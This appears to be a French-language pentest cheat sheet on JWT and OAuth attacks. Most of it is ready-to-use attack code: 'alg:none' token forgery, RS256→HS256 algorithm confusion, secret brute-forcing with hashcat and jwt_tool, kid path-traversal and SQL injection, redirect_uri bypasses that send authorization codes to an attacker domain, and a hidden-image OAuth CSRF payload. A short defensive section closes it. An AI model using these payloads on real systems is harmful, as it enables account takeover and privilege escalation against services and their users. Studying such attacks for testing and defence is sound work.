jwtoauthtoken-forgery
MDstable
OAuth & JWT Attacks — Token Forgery, Algorithm Confusion
Attaques JWT : alg:none, RS256→HS256 confusion, brute force secret, OAuth misconfig, open redirect
snippetadvanced 2026-05-14 5 min read
jwtoauthtoken-forgeryalgorithm-confusionburpsuiteauthenticationpentest
Anatomie d'un JWT
HeaderPayloadSignatureHeader base64url "alg""HS256""typ""JWT"Payload base64url "sub""user_123""role""user""exp"1716649200Signature HMACSHA256base64urlheader"."base64urlpayload secretExemple tokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9eyJzdWIiOiJ1c2VyXzEyMyIsInJvbGUiOiJ1c2VyIn0SIGNATURE
bash
Variables
{{JWT_TOKEN}}
# Décoder un JWT (sans vérifier la signature)echo "{{JWT_TOKEN}}" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m jsontool# jwt_tool — outil complet pour tester les JWTspip3 install jwt_tooljwt_tool {{JWT_TOKEN}} # décoder + infosjwt_tool {{JWT_TOKEN}} -T # tamper — modifier les claimsjwt_tool {{JWT_TOKEN}} -C -d /usr/share/wordlists/rockyou.txt # brute force secret
Attaque 1 — alg:none
python
# Si le serveur accepte alg:none → signature ignorée → forger n'importe quel claimimport base64, jsondef b64url(data: bytes) -> str:return base64.urlsafe_b64encode(data).rstrip(b'=').decode()# Modifier le header : alg → "none"header = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())# Modifier le payload : changer le rôle ou l'IDpayload = b64url(json.dumps({"sub": "admin", "role": "admin", "exp": 9999999999}).encode())# Signature videforged_token = f"{header}.{payload}."print(forged_token)
bash
Variables
{{JWT_TOKEN}}
# jwt_tool — test alg:none automatiquejwt_tool {{JWT_TOKEN}} -X a# Variantes à tester : "none", "None", "NONE", "nOnE"# Certains serveurs font une comparaison insensible à la casse
Attaque 2 — Algorithm Confusion RS256 → HS256
PrincipeServeur vrifie en RS256 cl prive signe cl publique vrifieAttaquant change lalg en HS256Serveur vrifie alors HMAC avec la cl publique comme secretLa cl publique est souvent disponible endpoint /jwks.json certificat TLStapes1 Rcuprer la cl publique RSA du serveur2 Forger un token HS256 sign avec la cl publique comme secret HMAC3 Soumettre si le serveur ne vrifie pas lalg attendu token accept
bash
Variables
{{TARGET}}
{{JWT_TOKEN}}
# Récupérer la clé publiquecurl https//{{TARGET}}/.well-known/jwks.jsoncurl https//{{TARGET}}/api/auth/keys# Ou extraire du certificat TLSopenssl s_client -connect {{TARGET}}443 2>/dev/null | openssl x509 -pubkey -noout > pubkeypem# Forger le token HS256 avec jwt_tooljwt_tool {{JWT_TOKEN}} -X k -pk pubkeypem# Manuel avec python-jwtpython3 << 'EOF'import jwtwith open'pubkey.pem' 'rb' as fpublic_key freadpayload "sub" "admin" "role" "admin" "exp" 9999999999forged jwtencodepayload public_key algorithm"HS256"printforgedEOF
Attaque 3 — Brute Force du secret HS256
bash
Variables
{{JWT_TOKEN}}
{{APP_NAME}}
# hashcat — brute force secret HMAC-SHA256# Format : header.payload → signatureecho -n "{{JWT_TOKEN}}" > jwttxthashcat -a 0 -m 16500 jwttxt /usr/share/wordlists/rockyou.txt# jwt_tool — brute force intégréjwt_tool {{JWT_TOKEN}} -C -d /usr/share/wordlists/rockyou.txt# Secrets communs à tester manuellementpython3 << 'EOF'import jwtcommon_secrets "secret" "password" "jwt_secret" "your-256-bit-secret""supersecret" "mysecretkey" "{{APP_NAME}}" "admin"token "{{JWT_TOKEN}}"for s in common_secretstrydecoded jwtdecodetoken s algorithms"HS256"printf"[FOUND] Secret: {s}"printdecodedbreakexceptpassEOF
Attaque 4 — JWK Header Injection
Si le serveur accepte un JWK embarqu dans le header du token lui-mêmeInjecter sa propre cl publique RSA dans le headerSigner le token avec la cl prive correspondanteLe serveur vrifie avec "notre" cl publique embarque accept
bash
Variables
{{JWT_TOKEN}}
# jwt_tool — JWK injection automatiquejwt_tool {{JWT_TOKEN}} -X i# kid (Key ID) injection :# Si le header contient kid: "path/to/key"# Tenter : kid: "../../dev/null" (secret = contenu de /dev/null = vide)# Ou kid: "0 UNION SELECT 'secret'--" (si kid est utilisé dans une requête SQL)jwt_tool {{JWT_TOKEN}} -I -hc kid -hv "../../dev/null"
OAuth — Attaques sur les flux
Open Redirect → Vole le code d'autorisation
bash
Variables
{{OAUTH_SERVER}}
{{CLIENT_ID}}
{{APP}}
{{ATTACKER_DOMAIN}}
{{ALLOWED_DOMAIN}}
{{ATTACKER_PATH}}
# Si le redirect_uri n'est pas strictement validé# URL OAuth normale :# https://{{OAUTH_SERVER}}/authorize?# client_id={{CLIENT_ID}}&redirect_uri=https://{{APP}}/callback&response_type=code# Attaque : redirect_uri → domaine contrôlé par l'attaquant# https://{{OAUTH_SERVER}}/authorize?# client_id={{CLIENT_ID}}&# redirect_uri=https://{{ATTACKER_DOMAIN}}/callback&# response_type=code# Bypass courants :# redirect_uri=https://{{ALLOWED_DOMAIN}}.{{ATTACKER_DOMAIN}}/# redirect_uri=https://{{ALLOWED_DOMAIN}}/../../{{ATTACKER_PATH}}# redirect_uri=https://{{ATTACKER_DOMAIN}}%23{{ALLOWED_DOMAIN}}
CSRF sur le flux OAuth
html
Variables
{{OAUTH_SERVER}}
{{CLIENT_ID}}
{{APP}}
<!-- Intercepter le code d'autorisation en cours de fluxSi state parameter absent ou non vérifié → CSRF OAuth --><img src="https://{{OAUTH_SERVER}}/authorize?client_id={{CLIENT_ID}}&redirect_uri=https://{{APP}}/callback&response_type=code&state=CSRF_TOKEN_STOLEN" width="0"><!-- Forcer la victime à lier son compte OAuth à notre compte attaquant -->
Leakage du access_token via Referer
Si l'access_token est dans l'URL response_typetokenET la page fait des requtes vers des ressources tiercesLaccess_token apparat dans le header Referer des requtes tierces
Défense JWT
python
Variables
{{APP_AUDIENCE}}
# Python (PyJWT) — vérification stricteimport jwtEXPECTED_ALGORITHM = "RS256" # Whitelist d'algorithmes acceptésPUBLIC_KEY = open("public_key.pem").read()def verify_token(token: str) -> dict:try:payload = jwt.decode(token,PUBLIC_KEY,algorithms=[EXPECTED_ALGORITHM], # Jamais ["RS256", "HS256"] ensembleoptions={"verify_exp": True,"verify_aud": True,"require": ["exp", "iat", "sub"]},audience="{{APP_AUDIENCE}}")return payloadexcept jwt.exceptions.InvalidTokenError as e:raise AuthenticationError(str(e))
Checklist JWTWhitelist dalgorithmes explicite jamais "any" ou liste mixte RSHSNe jamais faire confiance lalg du token lui-même pour choisir la mthodeValider exp iat aud chaque requteSecret HS256 > 32 bytes alatoires pas un mot de passeNe pas stocker de donnes sensibles dans le payload il est lisible sans signatureImplmenter une liste de rvocation pour les tokens critiques
⚠ Attention —
La confusion d'algorithme RS256→HS256 est une vulnérabilité critique souvent présente dans les implémentations custom. Les librairies JWT récentes (PyJWT 2.x, java-jwt 4.x, jsonwebtoken 9.x) la corrigent, mais les apps héritées ou les vérifications manuelles restent vulnérables si l'algorithme n'est pas vérifié explicitement côté serveur.
OPS·BRAIN v1.075 notes · Securitylocal